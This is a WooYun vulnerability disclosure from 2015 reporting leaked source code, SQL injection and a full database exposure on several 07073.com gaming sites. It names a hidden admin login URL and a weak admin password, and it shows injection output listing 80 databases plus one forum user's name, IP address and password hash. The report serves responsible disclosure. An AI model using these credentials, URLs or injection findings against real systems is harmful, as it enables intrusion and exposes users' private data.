当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103216

漏洞标题：07073多个站点源码泄露+后台注入+全库泄露

相关厂商：07073.com

漏洞作者： 杀器王子

提交时间：2015-03-23 14:59

修复时间：2015-05-08 13:26

公开时间：2015-05-08 13:26

漏洞类型：系统/服务运维配置不当

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 细节已通知厂商并且等待厂商处理中
2015-03-24： 厂商已经确认，细节仅向厂商公开
2015-04-03： 细节向核心白帽子及相关领域专家公开
2015-04-13： 细节向普通白帽子公开
2015-04-23： 细节向实习白帽子公开
2015-05-08： 细节向公众公开

简要描述：

07073多个站点源码泄露+后台注入+全库泄露

详细说明：

60.169.3.16:85

Snip20150323_10.png


60.169.3.23:89

Snip20150323_11.png


分别对应 tools 和fahao 二级域名
对第一套源码进行审计

漏洞证明：

找到后台地址
http://tools.07073.com/7f43c61abf6ab108847a62faa96fcc93/index/login
管理账号弱口令
admin 123456
然后是注入

Snip20150323_12.png


源码中几乎每个like的查询都有注入

Snip20150323_13.png


back-end DBMS: MySQL 5.0
available databases [80]:
[*] 123_07073
[*] acg073
[*] adv07073
[*] advertising
[*] android07073
[*] askdata
[*] atlas07073
[*] baidu_xml_dev
[*] baobei
[*] bar07073
[*] bbs073
[*] bl07073
[*] box07073
[*] cache07073
[*] cartoon
[*] coderead
[*] comment
[*] datacenter
[*] db07073
[*] db07073_tx2
[*] db07073qn
[*] dbcache
[*] discuz
[*] dn07073
[*] dnf07073
[*] downloads
[*] duandi
[*] fahao073
[*] fahao10
[*] flash07073
[*] giftcode
[*] hdtemplates
[*] hi07073
[*] huodong
[*] information_schema
[*] iphonewy_x15
[*] iphonewy_x20
[*] jft073
[*] kaifuopen_hzhks
[*] kaifuopen_zjgtqxx
[*] kc07073
[*] kf07073
[*] kf07073b
[*] kf207073
[*] kf521
[*] kf77745
[*] list07073
[*] mesearch
[*] mh073
[*] mobilenews
[*] molihai073
[*] monitor
[*] mysql
[*] nycc
[*] other_website
[*] paihang07073
[*] performance_schema
[*] shop073
[*] sy07073
[*] team07073
[*] tieba
[*] tongji
[*] top2011
[*] tweibo
[*] ui073
[*] wap07073
[*] webbox
[*] weixin073
[*] wenwen073
[*] wow07073
[*] www.13cr.com
[*] www07073
[*] www07073bak
[*] xuan-astd
[*] xweibo
[*] youxi
[*] yxdata
[*] zhuanchu
[*] zhuanchu2
[*] zt07073


select count(*) from bbs073.uc_members;: '22057906'
select * from bbs073.uc_members limit 1; [7]:
[*]
[*] 丿Fashi
[*] 0
[*] 1
[*] 222.89.215.190
[*] 8bc9f2
[*] cb45d4ced2fed7f2eb7bf116e306fc10
2000w+用户
第二个站点也各种注入 自查

修复方案：

删除svn 查询过滤

版权声明：转载请注明来源 杀器王子@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-03-24 13:25

厂商回复：

感谢提供漏洞信息

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-23 15:13 | boooooom 认证白帽子 ( 普通白帽子 | Rank:467 漏洞数:50 | 我有一个好想法！)

    有杀器，有杀气！

  2. 2015-03-23 15:14 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖，不如相濡以沫)

    nb

  3. 2015-03-23 15:21 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    有杀器，有煞气！

  4. 2015-03-23 15:55 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    不再首显@@~